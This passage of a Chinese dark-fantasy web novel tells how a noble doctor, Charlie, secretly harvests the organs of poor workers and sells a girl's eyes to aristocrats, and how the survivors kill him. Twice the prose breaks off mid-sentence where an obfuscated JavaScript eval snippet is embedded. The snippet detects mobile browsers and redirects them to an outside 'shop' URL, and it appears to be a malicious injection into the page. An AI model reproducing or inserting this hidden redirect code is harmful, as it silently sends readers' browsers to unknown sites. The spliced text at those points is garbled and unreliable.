他成为了传闻中吃人魔兽的第一个爪下亡魂,随后便继续戴着皮套扮演魔兽,每天早上他会徘徊在地脉的不同工作区,把人惊吓一通,那个区的人至少可以停工一个上午。而到晚上,他会看情况潜入工人的休息室,制造骚乱后,带重病或者受伤的的人离开供能中心,结果在最近的捣乱中不幸被关在了某个单元区,直到阿纳托利去调查才放出来,放出来的第一件事还不是自己逃跑,竟然冲去了工人休息区。 “但地脉影响的异化始终持续,伤者、异化者会越来越多,你救不完他们的,你想过之后怎么办吗?”莱安娜听到此处的时候,忍不住开口询问。 疲于奔命、抱薪救火,早晚会有耗尽自己的那一天。 “我知道救不完他们,我当时没想这么多,他们很多人看我没了父母可怜,之前都对我不错,我能救一个算一个吧。” 他的语气也沉重了起来。 “我知道你们是来抓我的,因为我有特殊能力,我还伤了人,切断了那个管理员的手,我可以和你们走,但楼上的那些工人与你们的任务无关,不要透露他们的存在,他们好不容易才恢复了一些,再回那个地方他们会死。” 他那双好看的紫色眼睛像是蒙了雾气,因为说到了着急的地方不自觉地提高了音量。 “我承认,我是伤了人,但那也是没办法的事,那个管理员当时在打一个受伤的工人,我认识那个工人,他伤得很重的,再打下去,他就不行了……我就用那个手套,夹掉了管理员拿鞭子的手。其他的我什么也没做。” “你没有杀人吗?”莱安娜冰冷的视线扫了过来。 “我没有,我从没杀过人。” “那在旧神殿里名叫查理的医生是怎么死的?你说这是你随便找的空屋子?这是乔恩调查员死去朋友的家里,真以为我们什么都不知道吗?” 一听到旧神殿,哈克的眼神黯淡了下去。 “你们……不,我不知道,我不知道什么医生,我不知道。” “我要的是包含所有细节的事实。想救楼上的人最好给我说实话,不要隐瞒。” “我说了,我不知道。” 他语气斩钉截铁,不难理解他的小心提防和固执,莱安娜叹了口气,语气柔和了几分。 “我们并不打算把你交出去,原本以为造成混乱的是魔兽,但你是活生生的人,怎么可能按原计划继续执行抓捕任务,你没必要对我这么有敌意。” 哈克相当戒备地看了她一眼。 “我觉得教会不会因为我是人就放过我的吧。” “这倒是相当正确的看法,教会确实不会放过你。但你运气不错,我不站教会那边,虽然我不是什么好人,但勉强还算有自己的底线,而且我本人和教会有点私仇,所以不打算交你出去。” “骗子,我才不信!有私仇你怎么会给教会卖命?” “还想诈我的话?”莱安娜没好气地笑了,这孩子真是固执得不行。 “你也只能相信我了,现在这种情况,你还有别的选择吗?”她笑盈盈地盯着缩在另一张椅子上的哈克。 “我的耐心有限,告诉我实话,我说不定能想办法救你一把。” 哈克知道,对方既然查到了旧神殿,查到了乔恩,隐瞒似乎没有了意义。伤害管理员或许只是坐牢,但死去的查理医生是贵族,杀死贵族的罪名一定会被绞死吧,而且现在看来罪名已经不可能掩饰过去了……他看向了楼梯上的破旧阁楼,下定了决心。 “我……杀死了那个医生,因为……” “够了,哈克。”一个男子的声音从楼上传来,打断了哈克。莱安娜抬头,看见一个中年人从阁楼的门后探出了脑袋,随后颤巍巍地走下楼来。 “您干什么,快回去!”哈克从椅子上弹了起来,似乎很着急把对方塞回阁楼,但那个中年人全然没有听他的话,他停在了楼梯中间,看向天花板长长地叹了口气。 随后转过头来,看向莱安娜。 “这位女士,杀死那个医生的,是我们所有人。” 哈克后退了一步,脸色变得很难看。 怎么办?如果大家都牵涉到谋杀贵族的罪名中,眼前这个女魔头还会遵守刚才的承诺吗? 哈克觉得自己的一切努力都白费了,眼前都有些发黑,脑袋一片混沌。 “说明具体情况,不要遗漏一个细节。”莱安娜冰冷的声音在他背后响起,将他拉回现实。 “我的承诺仍然有效。”仿佛洞察了哈克心中的忧虑,她刻意补充了一句。 哈克立刻扭头过去,紫色的眼睛巴巴地把她盯着,莱安娜把头转了过去,不去看他。 那位中年人走下了楼梯,摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17080099|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了摸哈克的脑袋, “你来讲,有遗漏我补充。” 哈克揉了揉有些发红的眼眶,开始回忆之前的事情。 他带着工友们离开能源中心后,才发现了外面的世界和他想象中不同。他们已经脱离外界太久了,任何工作和住宿都需要身份证明,也请不起医生。 他们好不容易离开牢笼,结果阳光下的世界却无处容身。走投无路之下,他就想到了把受伤的工友安置在旧神殿,听说自从神官从缄默区撤离后,几乎就没人去那里了。 那时候他刚背着受伤的工友熬着夜从能源中心一口气跑到了缄默区,推开神殿大门时连头都快要抬不起来。 但这里并非无人的废弃之地。 神殿的中央放着一张桌子,还有很多他叫不出名字的瓶瓶罐罐,全是新的,地砖打理得发光,空气里还有新鲜药草的清苦味,一看就是有人在这里。 他有些担心,废旧的地点其实是有人住的吗?万一别人赶他们走呢? 他低头看着自己快要磨烂的鞋,上面还粘着泥土和草籽,身上应该也是灰扑扑的。这样脏兮兮的样子,去哪里都不受欢迎吧,但该怎么办呢?他真的走不动了。 他不知所措地站在门外,似乎担心自己的身上的泥泞会弄脏被擦拭得锃亮的大理石地砖,又实在不愿意放弃这个难得的栖身之所。在低头纠结的时候,有个很悦耳的声音从前方传来。 “请问您有什么事情吗?” 他抬头看去,有个人从殿内走出,端着一个打水的盆子。 哈克没有阅读过太多书,不知道如何去形容。 他只会说那是个好看得相当过分的人。 金色的头发,他眼睛里的蓝色非常浅,淡得几乎有点发白。清晨的光正好落在他身上,宛若洁净的塑像,哈克都要看呆了,他没见过整洁到这种程度的人。 对方抿着薄唇,歪着脑袋投来十分困惑的目光,像水一样的神情,没有一点敌意。 “我能和同伴在这里休息吗?不用太久,只要……” “当然,无论多久都行。” 他随和地笑了。 “您是贵族吗?”哈克不知道自己哪里来的勇气,下意识就问出来了。 “也算吧。”他点了点头,但眼神里没有一点炫耀的意味,他本人也没有贵族的派头。 “那你为什么住在这里?这是你的家吗?”哈克怔怔地看着他。 “不是,我不住在这里,我准备在这里义诊,所以就派人把旧神殿打扫出来了。” “义诊?您是医生?您要免费给缄默区的病人们看病吗?”他惊讶得声音都提高了几分。“但是为什么呢?” “我想,总是有人需要帮助的吧。”他说这话的时候眼神很温柔,像是即将融化冬雪的阳光一样。让人不会有丝毫的怀疑。 随后,他的目光移向了哈克背着的人。 “您背上的朋友需要帮助吗?” “需要!但……真的可以吗!” “当然。” 哈克亲眼目睹了他治疗自己工友的全过程,他是那样地细致、严谨。 在缝合时他不经意地问: “为什么会弄成这样?方便告诉我你们是从哪里来的吗?是遇到了什么危险吗?” 哈克不知道该怎么回答,正在犹豫时,对方似乎察觉了他的难处。 “没事,每个人总有不容易的时候,您就当我没问过。但……你们有可以去的地方吗?”他关心地看向哈克,那双眼里只有不忍心和担忧。 哈克茫然地摇了摇头,随后意识到什么,怯生生地问道: “我们没有可去的地方,您是要我们离开了吗?” 对方笑了笑。 “不不不,没有就好,你们想在这里住多久都可以。”那时的哈克没能反应过来这句话的深意,只觉得这人简直是天使。 等他治疗好后,哈克有些不好意思地说: “谢谢您,我会报答您的。” 对方朝他笑了,不是那种带着讥讽的笑,也不是福洛戈那种老好人的假笑。 那是个很干净的笑容,仿佛不带任何恶意,纯粹得发自内心,足够让人放下所有戒备。 “不要什么报答,告诉我你的名字就好,有需要帮忙的话可以来这里找我。” “我叫哈克。” “好的哈克,我的名字是查理。以后我就是您的朋友了。” 63. 吃人的医生 查理的出现简直像是及时雨,哈克找到了落脚的地方和治疗的地方,又干劲满满地搅合供能区的作业,把快不行的工友背出来。 但他的老朋友寇尔似乎对查理很是戒备,严厉地告诫哈克,绝对不许告诉查理隐匿魔法的秘密,他逼着哈克发誓。哈克觉得寇尔是没见过查理才会这样,要是亲眼见过了他,一定不会这么揣测了。不过因为发过誓了,他也只能对自己的新朋友守口如瓶了。 “天呐,真是遗憾,要是查理知道自己有这么厉害的本事,不知道会有什么样的表情呢?”他总是幻想着查理大吃一惊的样子。 查理会帮朋友们治疗,还会给他们带很多有营养的食物。哈克担心太麻烦他,他却说这些伤者吃的苦头太多了,营养不良,身体非常不好,要吃有营养的食物才能帮助他的内脏更好地恢复。那时候哈克真觉得查理是世界上顶顶好的人。 在神殿还有个常来帮忙的姑娘,她叫克拉丽斯,也是查理的朋友。但和查理不同,她是缄默区的贫民。她很厉害,被检测出有魔力,自己打工攒钱读完了基础课程,还扬言自己一定会通过低阶魔法师的考试,之后去圣都核心区任职,到时候她就可以罩着哈克,不过哈克才不要认她当大姐头呢! 她性格和内敛安静的查理迥然不同,她是个热心肠,会在有空时跑来帮助查理照顾伤员,和谁都自来熟,可以噼里啪啦讲一整个下午,跑起来飞快,像一阵风,笑声像铃铛一样,清脆又响个不停。 克拉丽斯很美,不是那种精雕细琢的好看,哈克也不知道该怎么描述,只觉得她就像是清晨蓬勃的野草,看见她就会觉得心里敞亮又舒服,她的眼睛橙橙的,像朝阳,笑起来的时候又会变成一条线,像是弯弯的月亮。 在某个午后,查理像是想到了什么,痴痴地看着克拉丽斯,赞美脱口而出:‘克拉丽斯你的眼睛很漂亮,值得看见圣都最美的景色。’克拉丽斯当这是祝福她早日通过考试,朝查理灿烂一笑。 克拉丽斯学东西很快,她拿着魔法问题来问查理,自己在一旁还听得稀里糊涂时,她就大呼一声“啊,我懂了。” 丝毫不照顾旁边学渣的感受呢。 “到底懂了什么啊?”每当这时哈克就会无能地发怒。但没办法,魔法不会欺骗你,不会就是不会。 那段时间美好到哈克完全察觉不到这是一场噩梦的开端,美好表皮让人看不清内里化脓的真相。 现在想起来其实蹊跷的地方有很多。 为什么查理在听见他们说无处可去的时候说了一句’没有就好‘,而不是‘我很遗憾’。 为什么明明自己的同伴的到了好的治疗,已经好转了,还会因为奇怪的病暴毙。 之后就是自己的工友们相继染病或者意外死亡,不久克拉丽斯莫名其妙地失踪了。他哥哥还找了过来,哈克也帮忙去找,但一无所获。 ……… 在某个黄昏,因为有位工友意外受了重伤,他只得改变救人的频率,带着那位工友匆忙逃出。违反了和查理的约定,在周日那天返回了神殿。他撞破了真相。 原来医生不只会救人,也会吃人吗? 他在神殿给工友做好简单包扎后,安置他在休息区休息,竟然忘记解除隐匿魔法,径直上楼睡着了,这里是手术室,平常根本没有什么人,在这里休息也不会打扰其他人。 后来他听见响动醒了过来,看见查理在给自己的同伴做手术,查理记得,那是他第三次假袭击救下的人。 “病得这么重了?”他很担心,大气都不敢出,生怕影响查理手术。 但他越看越不对劲。 他不懂医学,但什么手术需要让人的心脏脱离胸腔? 他看着工友还跳动的心脏从胸膛中取出,放在了一个透明的盒子里,随后还有其他的一些它叫不出名字的团状物,查理像捧着宝物一般把他们放进了不同的盒子,打包好后径直下楼了,没有再看手术台上的人一眼。 他提着那堆透明的箱子离开了,哈克冲到了手术台上前,看到自己同伴被开膛破肚的样子,他连站立的力气都快没有了。 他的肚皮被划了一道口子,像是一个黑洞,空落落的什么都没有。他探了下朋友的鼻息,他已经死了,无声无息。 他们来到这个世界的时候,除了自己的身体一无所有。为什么死的时候连身体都保不住呢? 眼泪从他眼里滚了出来,他喉咙动了动没有哭出声,深吸了口气后快速冲下了楼。 楼下停着一辆华丽的马车。 查理站在车前,金发在黑夜中如此显眼,他一席白衣,打着伞,就和哈克第一次见他那样干净而体面。 哈克走了过去,走到了附近的灌木下,眼睁睁地看着他把那些透明的东西递给了侍从。 “小心,这很珍贵。” 他似乎觉得对方有些毛手毛脚,金色的眉毛不满地折了起来。 侍从将盒子递给了马车内的人,那人不紧不慢地开口道: “放心,这种特制装置能保持生命力,你是现杀的对吧?” 哈克瞪大了眼睛。 什么叫现杀? 他捂住了自己的嘴,觉得全身都在颤栗。用尽全部理智才控制自己没有尖叫出来。 “当然,您放心,我最重视职业道德了。” 查理冰冷的声音让哈克几乎窒息。 “很好,我会如实告知我叔叔的,我们家族牢记您的善意。” “举手之劳。” “价款我们之后会以合适的方式支付。” “您知道我做这些不是为了钱。”查理微笑着抬头朝马车内的人微微鞠躬。哈克这才发现,这正是他们第一次相遇时查理的表情。他有隐身,查理同样有自己的伪装,甚至更加高明。 “钱是我们表达感谢的方式之一,我向您承诺,子爵家的查理永远拥有我们家族的友谊。” “不胜感激。”还是那个让人恶心的笑容,哈克感觉自己的胃都在翻腾。 马车走了两步,那人突然叫停了车,慢悠悠地又向查理招了招手。 “您还有何吩咐?”查理恭敬地询问。 “凯瑟琳托我转告您,她万分感谢您推荐的备用体,新的眼睛很好用,她本来没抱期待的。” “那是我最满意的手术之一。” “可惜了,还有个坏消息,那个备用体姑娘不太懂事。”那人说着叹了口气。 “因为好心的凯瑟琳考虑到借用了她的眼睛,想要给她一些补偿,所以准备把她养在家里一辈子。毕竟匹配度这么高的人确实很少见。” “真是仁慈的决定,凯瑟琳女士竟然在乎耗材的未来。” “可不是吗?我打赌,圣都的贵妇人里再找不出第二个比她更善良的人了。但那女孩竟然想要逃走!我真不明白,匹配度这么高简直是走了大运不是吗?她什么都不用做就可以过上衣食无忧的生活,为什么要自寻短见呢?” “自寻短见?” “对,那女孩自杀了。”那人轻蔑地冷笑着。 “哦,天呐,真是愚蠢又死脑筋,您知道吗?她用一把剪刀自杀的,一把生着锈的钝剪刀!为了防止她自杀,凯瑟琳派人把窗户封死了,那女孩出行时还必须有人监视,谁知道她这么死心眼,竟然在花园里偷了把剪刀……您敢相信吗?她在扎自己心脏前竟然还在胸腔和腹腔扎了好多刀。多浪费啊!这不是都不能用了吗?” “我深表遗憾。” “这还不是最糟糕的,她死前还给凯瑟琳写了遗书,说哪怕她去死,也不会像家畜一样等着凯瑟琳利用她的血肉。她的眼睛会帮她见证凯瑟琳的死亡,她诅咒凯瑟琳不得好死,还用自己的血在地板上写了凯瑟琳的名字。天呐!她简直和女鬼一样。” 那人说着,相当无语地叹了口气。 “可怜的凯瑟琳被吓得一直做噩梦,你说说本来皆大欢喜的一件事,凯瑟琳有了光明,而那个女孩本可以吃穿不愁,享受荣华富贵,结果搞成这样。所以我想给您一个建议。” “洗耳恭听。” “下次推荐备用体的时候,不要只考虑匹配度,还要看看性格,记得推荐乖巧听话的,我们愿意豢养的是绵羊,不是野兽,就像那孩子……跟头养不熟的恶狼似的,对了她叫什么来着?” “克拉丽斯。” 哈克呼吸一滞,大雨瓢泼而下,一道惊雷闪过,照得查理带着微笑的面容仿佛扭曲起来。 那马车徐徐开去,没走太远时,那个可恶的声音再次在雨中响起。 “对了,向您转达阿萨特主教的祝福。” “不胜荣幸。” 马车离开了,雨中的查理若有所思,他收起笑容朝灰烬乐园走去,那个白色的影子就像一道鬼影,消失在了潮湿的雨夜。 雨很大,大得像是湍流,像是要把哈克淹没了,不然他为什么喘不过气来呢? 哈克一路狂奔,来到了静默谷。查理曾说,那些没救回来的工友都安葬在了静默谷,让哈克节哀,如果难过可以去静默谷看他们。 “他们的坟墓我安置在了静默谷的小山岗上,那里有一棵很高的树,像是伞一样,这样他们就可以舒舒服服地长眠在地下,不被风吹日晒打扰了。” 哈克抬头,巨大的树冠真的如伞一般,他开始发了疯一样,用手扒开泥泞酸臭的泥土。 第一个同伴意外死亡是在四个月之前,难道他十二个同伴都是被开膛破肚死掉的吗? 他几乎靠着本能在挖掘,很快他就挖出了第一具尸体。之所以这么快是因为查理把所有的尸体都埋藏得很浅,他很厌恶这里的环境,竟然连最后毁尸灭迹的工作都干得十分敷衍。 哈克发现这里不止十二具尸体。 查理不止治疗他的朋友,整个缄默区走投无路的人都会来求助慈悲的义诊医生查理,难道那些人都······ 哈克忍不住把头扭到了另一边吐了起来,不知道是由于刺鼻的腐臭味,还是对披着伪善皮囊的野兽行径感到触目惊心。 他花了一点时间才缓了过来,才鼓起勇气去检查尸体。 今年的天气相对较冷,四个月过去,软组织也未能完全腐化。哈克祈祷着,去看那些尸体的腹部和胸口。 刀口、刀口、刀口······ 好多道刀口,每具尸体无一例外,里面空空如也,只剩十二具空洞的皮囊。那黑漆漆的洞像是一只只不肯合拢的眼睛,直勾勾地看着哈克,在这样的凝视下,哈克觉得自己像是个罪人,那些眼睛的主人像是在哭诉: “你为什么要把我们带到一个恶魔的手中啊!” “我不知道!我不知道会这样!我是想大家活下去的!啊啊啊啊啊!” 他蜷缩在那烂泥一样的地上痛哭了起来。 为什么?为什么救不了大家? 是因为他吃的苦还不够多吗? 但是地下作业的洞穴很闷,还没有东西吃,有时候他必须在里面躲一天以上,等再次作业才有机会偷摸溜出去。 从作业区离这里的路很远,他背着伤员要走整整一夜多一点,有时候他觉得自己的脚都快断了。 是因为他还不够努力吗? 但他从来没有休息过,几乎一直都在奔波,连睡上五小时都是奢侈。 他已经竭尽全力了,他觉得自己不可能做得更好了?那为什么?为什么最倾尽全力的求生是这样的结局。 自己拼命地将一个个工友从那可怕的地下拉了上来,背着他们在黑夜里狂奔,却把他们送到了另一个地狱? 为什么大家都要死?为什么一点活路都没有? 他们明明不是最大恶极的人啊!那神明为什么要默许他们坠入地狱? 他的手已被磨破了,血混着泥浆滴在地上,哈克低头看着自己朋友们的尸体。 他们死了,被人开膛破肚时无知无觉,死在了荒郊野外,死的时候没人知道,一片死寂。 为什么乱葬岗要叫静默谷?因为他们的死亡没有葬礼、没有神官为他们祈祷、没有人为他们叹息落泪。暴尸荒野的冤魂无法呐喊,多少愤怒、仇恨还没来得及说出,就被埋没在了这片泥泞之下不见天日。他们不得自由、不得安息、却也什么都改变不了。人死了什么都没了,这世间没有厉鬼、没有亡魂,死后一切如烟,死人是不会说话的,长眠在此的人没有机会再控诉活人的罪状。 为什么贫民窟叫缄默区?因为必须保持沉默。贵族们讨厌他们的哭喊声,抱怨声。不知道那古老的禁止令是谁发布的,要求贵族们的车架驰过这片肮脏,泥泞的区域时,路旁的贫民必须保持缄默,不可议论、不可抱怨、不可呼喊。一个被禁止哭喊的地方,无论面临什么苦难当然是安静的,缄默区永远平和,毫无怨气。 静默谷,要你死得了无声息,掀不起一点波澜,静默是最恶毒的诅咒。 缄默区,要你活着的时候乖顺麻木、无论什么样的折磨和苦难都没有半点反骨,方为被统治者的美德,缄默是最沉重的枷锁。 “啊啊啊啊啊啊!”哈克抱着自己朋友的尸体,在雨夜的静默谷发出了一声声嘶吼、像是厉鬼的控诉。 可惜,这世界上并没有厉鬼。 ······ 查理回到旧神殿的路上心情很不错,他撑着雨伞,竟然下意识把伞把手在手里转了好几圈,甩出漂亮的水花。 一切都很顺利,家族开发的禁药借着他在这里义诊的渠道,和灰烬乐园的老大做了交易,虽说维斯特利亚下了特殊药品交易的禁止令,但缄默区一直都是遗弃之地,这块 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083983|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被人忽视的市场正好让他来试一试刚改良的新药。而靠着器官移植,他帮到了很多圣都的大人物,在贵族如云的圣都,一个小小的子爵家族想要往上爬果然需要付出巨大的努力呢,他不由得在内心再次肯定起自己的勤奋来。 而且真是令人快慰,他今晚还解决了一个麻烦。刚才贵客的话就让他有些隐隐担忧,他记得克拉里斯有个哥哥。所以今晚特意去斗兽场看看那位熟人。 卡尔,那个胆敢来神殿质问自己的轴人。没想到他竟然真的为了找克拉丽斯把自己卖给了斗兽场,既然这么喜欢当英雄,自己不得好好帮帮他。而今晚运气很不错,斗兽场竟然来了新的魔兽。查理不由得感叹,女神是如此眷顾自己,他可以不费吹灰之力就把隐患埋葬于此。 一枚金币,就可以提出加比赛的要求,无数看热闹的人争相附和,为了赚钱的斗兽场果然没有拒绝。他只是展示了财富和地位、再抛出一个想法,无数的手便争相往前,推着那个勇士带伤继续比赛,最终死在了蛇型魔兽的嘴里。 一枚金币、就可以让一个灵魂转瞬即逝,就可以把复仇的火苗无声无息地遏制。 他轻而易举地解决了所有隐患,真是太完美了。 他怀着喜悦的心情,悠哉悠哉地回到了神殿,准备完成一个订单,第二天再回家休息,却在踏进神殿之后感到了不对劲。 神殿的大门传来反锁的声音。他惊觉回头却什么都没看见。 再回头的时候,那些病患不知道为什么都聚集在了大厅后面,不断向他走来。 “大家这是怎么了?”他端出那副标志的笑容。 “查理,瑞比是怎么死的?”哈克不知道什么时候从他身后冒出,冰冷的声音吓了他一跳。 他慢悠悠地转过身去,一脸伤感。 “我很遗憾查理,我知道你会难受,但是瑞比没有挺过去,意外总是······” “我看见了,查理,我看见你取出了瑞比的心脏,我亲眼看到你剖开了他的胸膛,你亲手杀了他!” “那是手术,我的朋友,那只是特殊的治疗方式,我可以解释······”查理那有些悲悯的笑容竟然没有丝毫的变化。 “我十二个朋友都是这样死的,他们的尸体里都空了,我看见你把内脏和器官给了马车里的那个人!” 哈克的话还没说完,查理的笑容就全部褪去。 “你不该窥探太多的,我的朋友。” “我们不是朋友!从来不是!”哈克怨毒地盯着他,像是想要把查理的眼珠子抠出来。 “那我也没办法了。”查理无奈地摊了摊手,随即他启动魔导器,那冒着蓝光的锋刃转盘围绕着他打了一个圈,随后朝着众人所在的位置开始弹出轻盈的线,被锁定的工人没能完全躲过,划过的地方瞬间血流如注。以查理为中心,丝线向四周弥漫舞动,仿佛带着利刃的蛛网,神殿中所有的人都是网中的猎物。 “是不是因为我当医生太久了,大家忘记了我是中阶法师。虽然我修治疗魔法,但一般的攻击类魔导器我还是能驱使的,对付你们这群没有魔力的人足够了。” 他慢悠悠地说,目光扫过众人,没有任何情绪。 围成一圈的患者们手里拿着一些小刀铁锹,完全无法抗衡攻击范围逐渐扩大的魔导器,后退了几步,战局似乎在此刻注定。 “灭灯!”哈克吼道。随即神殿陷入了一片漆黑。 查理看不见了,他的魔导器主要靠远程打击,如果没有视觉那相当被动。他立刻加快了蛛网在自己身边旋转的频率,同时用探知魔法扫视着屋内,确定着每一个活物的位置和运动轨迹,他有信心绝对不会被偷····· “呃!” 胸口处佩戴在心脏处的心甲发出了砰的撞击声,随后心脏旁边传来一阵剧烈的刺痛,为什么胸口会这么痛?明明什么东西都没有? 他伸出手去触碰那空无一物的痛处,隐匿魔法瞬间解除,查理低头看见了那双饱含仇恨的紫色眼睛,愤怒的复仇者手持短剑扎进了他的胸口。 查理似乎还想说什么,哈克全然不给他这个机会,将短剑转了一下。 但诡异的是,查理只在一开始流露出了一丝惊讶的神情,随即便放下心来一般,并没有畏惧或者痛苦,他竟然笑了! 他轻轻勾起嘴角,仿佛发现了很可笑的事情,低下头笑着说: “你以为治疗法师真正的可怕之处是什么?” 他轻声说着,随后用手抓住了查理的剑柄,他力气很大,竟然真的将短剑朝外推了一点。 蓝色的魔力如丝线一样钻入他胸前的伤口,他在疗愈自己。哈克心急如焚,这样下去,一旦短剑被拔出,他的伤口早晚会愈合。 同时他为了提防其他人的攻击,控制魔导器在黑暗中围绕着自己无序地旋转,蛛丝翻飞地更加疯狂,企图阻止剩下的人一拥而上。 “为什么你们这些低贱的人总是想要战胜不可直视的存在呢?”他讥讽地说。 “你没有这么厉害!我们也从不低贱!”哈克拼尽全力将短剑抵在他的胸口。 就在查理觉得胜券在握时,他却觉得背后也有刺痛传来,有人偷袭了他。那些普通人没有魔法,为什么可以在黑暗中辨别魔导器的方位,避开如此密集的攻击? 他还没来得及做出反应,第二击、第三击、第四击紧随其后。 在黑暗中的锋刃承载着怒火一拥而上,不给他留一点喘息之机。 “······怎么,怎么可能?你们怎么能看清?能避开?” “没什么不可能的。”一个工人冷笑着。“地下的通道可比这里黑多了,早习惯了。” 一把把锐器、餐叉、铁锹扎向查理,黑暗的神殿中传来一声声呐喊,幸存的患者正为那些不幸惨死的人复仇。 可怜的人被伪善外表蒙蔽,在无知无觉中被掏空了躯体,像是误入蛛网的昆虫,只剩下一个躯壳,连控诉和惨叫都没有办法发出。 查理的眼里终于出现了恐惧,他知道自己要死了。 “既然这样······”他疯狂地念叨着,随后从口袋里掏出一个手掌长度的柱状物。 哈克不知道那是什么,但身体未经思考便做出了判断,他抽出查理胸口的匕首,刺向查理的手腕,将那不明物品一把夺过。 “你!”查理面容扭曲,想要朝他扑来。 但紧接着冲过来的工人们死死拽住。 一把把并不锋利的剪刀、匕首,生活中随处可见的小铲子、铁锹,看上去不起眼也不体面的武器扎入了他的身体。 哪怕他治愈魔法极其熟练,面对众人的围剿也如同纸老虎一般,在愤怒中被烧成灰烬、在千疮百孔中停止了呼吸。 医生不会再吃人了,查理死了。 64. 犯罪与审判 之后的事情则相当机缘巧合,在所有人为杀死贵族一筹莫展的时候,神殿反锁的大门被人破开。 红着眼睛的乔恩提着魔导器冲了进来,和这群刚刚结束报复的病患面面相觑。 乔恩是来寻仇的。他一直在追查挚友一家遇害真相,查清了查理背后的禁药交易、也查到了那血腥的犯罪产业的冰山一角,那一刻他已经有了不好的预感。 他首先调查了查理,发现了其经常出入迎春花歌剧院的行程,后来蹲守到了其和不明人员之间的交易。继续顺藤摸瓜地查下去,终于在那一天,在卡尔惨死斗兽场那天,他终于确定了查理出卖克拉丽斯的过程以及克拉丽斯的死讯。 他在画家凯瑟琳的侍从口中打探到了关于克拉丽斯的情报。 “我家主人总让我去一个灵异馆里,说是有种巫术,可以驱赶恶灵,保佑平安。” “听上去就是骗人的东西。”乔恩摇了摇头。 “我也觉得,但主人信这个,那个灵异师说,只要按照这种方法,那人的灵魂将会被困在地狱里永受折磨,不可能再给她带来烦恼了。” “那个灵异馆在哪里?” 当乔恩看到灵异馆陈列的诡异罐子上写着克拉丽斯的名字时,他什么都明白了。 迎春花剧院的专用画师凯瑟琳,近年来不知走了什么好运颇受大人物的青睐,名声鹊起。事业鼎盛的时候却意外出现视力问题,原本已经被预言走到事业终点的年轻画师竟然意外恢复了视力,甚至在这之后参与了神殿的设计、绘画工作。她的眼睛将尽收帝国的繁华和荣光,她的画笔将描绘山河万里,她才华横溢,生逢其时,将在帝国的艺术史上铭刻自己的名字。 就是这一位人物,囚禁了克拉丽斯,导致了她的死亡。乔恩甚至连克拉丽斯完整的尸体都没能找到。 他花光积蓄在灵异馆带回的部分是她唯一的遗体。 在他知晓一切后,匆匆赶来告知卡尔,但像是命运的玩笑,他没能赶上那残忍至极的赌博游戏。 等他赶到斗兽场的时候,卡尔已经倒下,但斗兽场人群仍在喝彩狂欢。 “虽然我们最强斗士卡尔没能战胜新魔兽,但作为第一位连续比赛两次的战士,让我们为他的勇气鼓掌!” 解说员的声音激昂澎湃,周围人声喧闹,他们只在意比赛精彩,与赛场上的性命无关。 “你就死在这种烂泥一样的地方吧!就这种地方配得上你……” 乔恩记得自己气头上骂出的话,一语成谶。 “不!不!那不是我的真心话……” 那时候,卡尔已经通过骑士团的理论考核了,由于教育资源匮乏,很多平民几乎没有通过理论考核的机会。 卡尔有优秀的身体素质和魔力,只要参加下一轮的实战选拔,他就有机会跻身骑士之列,离开缄默区这个永无出头之日的地方。 但他妹妹失踪了,安全部调查无果后,他竟然要把自己卖给斗兽场?想求那些黑心商人帮他寻找克拉丽斯,甚至因为斗兽场无休止的安排,没法参加骑士考核。 在考场外等了一上午,发现卡尔没有去的乔恩气得快要发疯,直接马不停蹄地冲到了斗兽场的休息室。 卡尔穿着破旧的盔甲,正在修理那副劣质的魔导器,眉头紧锁。见他来了,神色舒展起来。 “要不要喝水?这里……” “为什么没去考核?”他的语气很不客气,在旁人听来应该相当刺耳。 “和比赛冲突了,今年不去了。” 卡尔仍是不恼的,还在擦拭手里的魔导器。 “你疯了!你距离成为骑士只有一步之遥了!为什么……” “我还可以等下一年,乔恩,但克拉丽斯等不了!一个成年女性失踪,你说有哪些可能?我越早找到她,她生存的希望就多一分。” 他声音哽咽了起来, “乔恩!克拉丽斯在等我!我的妹妹她在等我!” 音调都变了,眼眶红了起来, “傻瓜!你放弃了确定性!选择了一个虚无缥缈的可能!安全部那边我会竭尽全力帮你找。但你要清楚,从克拉丽斯失踪那一刻开始,她就很可能再也回不来了!如果真是这样,你要在这里耗多久?万一明年克拉丽斯也找不回来呢?你要放弃成为骑士,在这里像动物一样和魔兽缠斗一辈子吗?” 乔恩瞪着他,又急又气。 “你忘了吗?十四岁那年是你找我,要我帮你讲学校的那些课程的。我开玩笑,说以你的体格,哪怕不念书也能成为斗兽场的明星赚得盆满钵满,你是怎么回答我的!” 卡尔无措地看着他,面对他的质问,他似乎只能保持沉默。 “你说你讨厌自己的力气成为他人的笑谈!你不想像动物一样在铁丝笼里和魔兽缠斗供人观赏取乐!你不想当动物!你不想当小丑!你想当个堂堂正正的人!你想自己的力气和本事做些有价值的事,你想被人尊重、被人真正地看见!所以你才想成为骑士!你为什么要背叛你自己啊卡尔······我们不要当动物,我们去当骑士好不好?” 卡尔没有回答他,沉重的呼吸声在狭窄的房屋里愈发清晰,两人仿佛真的被关在了囚笼里。 良久后卡尔才抬头。 “抱歉了,乔恩,我可能只能先食言了。”他叹了口气,“我没有背叛自己的想法,但那对于现在的我来说太奢侈了。我有必须先去做的事情,一点时间也不可以浪费。” 他坚定地看着乔恩,仍没有一丝动摇。 “我会穷尽一切办法找下去,克拉丽斯是坚强的孩子,她一定不会放弃,她还在等我。” 